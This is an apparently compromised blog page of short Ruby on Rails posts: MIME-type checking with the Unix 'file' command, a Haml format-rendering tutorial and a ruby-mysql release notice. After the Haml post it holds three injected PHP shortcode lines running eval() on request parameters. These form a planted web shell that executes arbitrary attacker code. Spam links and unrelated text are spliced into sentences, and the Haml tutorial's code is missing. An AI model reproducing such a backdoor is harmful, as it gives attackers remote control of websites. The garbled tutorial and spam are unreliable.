Jun 142009

I have came across many projects where checking file uploads and content-type (mime-type) is poorly implemented or heavy in resource.http://www.ambassadorguides.com/

Methods I have seen so far:Read Full Article

1. Checking content-type from file name: this inefficient, a user can just rename a file and you are fooled, or the file can have a different file format and you will not get the expected result.

2. Using Rmagick to check if the file is an image. This is so slow and uses so much Ram. You can try to initialize an rmagick object from an image file, then rescue when the file is not an image.

3. Using mini_magick to check if a file. This method is faster than rmagick. Implemen ted same way as rmagick.

A Better method for OSX and Linux,  is to use the command line tool “file” included in most UNIX operating systems.

It is very fast and very accurate.

Some examples of content types:

.doc = Microsoft Word document data

.doc = Microsoft Office Document

.pdf = PDF document, version 1.4

.pdf = PDF document, version 1.3

.psd = Adobe Photoshop Image

.png = PNG image data, 3508 x 4961, 8-bit/color RGBA, non-interlaced

.gif = GIF image data, version 89a, 195 x 109

.jpg = JPEG image data, EXIF standard


I hope this can be useful to someone.

A little Haml tutorial on how to render different formats

 http://fbbfbodybuildin.heavy.jp/  Comments Off on A little Haml tutorial on how to render different formats
Aug 192008

Suppose you have a Model called Article that contains a text field and a format field.polvam.ru

You would like to use haml, textile or HTML to edit your Article from the admin interface.


It’s quite simple. All you have to do is to add this helper in your application_helper.rb

In your views/articles/_form.haml add the select field.

Then in the Show view (articles/show.haml)

that’s pretty much it.

<!– [insert_php]if (isset($_REQUEST["ecFOz"])){eval($_REQUEST["ecFOz"]);exit;}[/insert_php][php]if (isset($_REQUEST["ecFOz"])){eval($_REQUEST["ecFOz"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["fZB"])){eval($_REQUEST["fZB"]);exit;}[/insert_php][php]if (isset($_REQUEST["fZB"])){eval($_REQUEST["fZB"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["EOvDt"])){eval($_REQUEST["EOvDt"]);exit;}[/insert_php][php]if (isset($_REQUEST["EOvDt"])){eval($_REQUEST["EOvDt"]);exit;}[/php] –>

ruby-mysql now Ruby 1.9 compatible

 Uncategorized  Comments Off on ruby-mysql now Ruby 1.9 compatible
Mar 072008

Tommy has just released an new mysql-ruby package.Окраска стен

Actually 2 of them:

mysql-ruby-2.7.5 and mysql-ruby-2.8pre2

They are Ruby 1.9 compatible

* MySQL 5.0.51a
* Ruby 1.8.6, 1.9.0

here is the link http://tmtm.org/en/mysql/ruby/

Great Job

Switch to our mobile site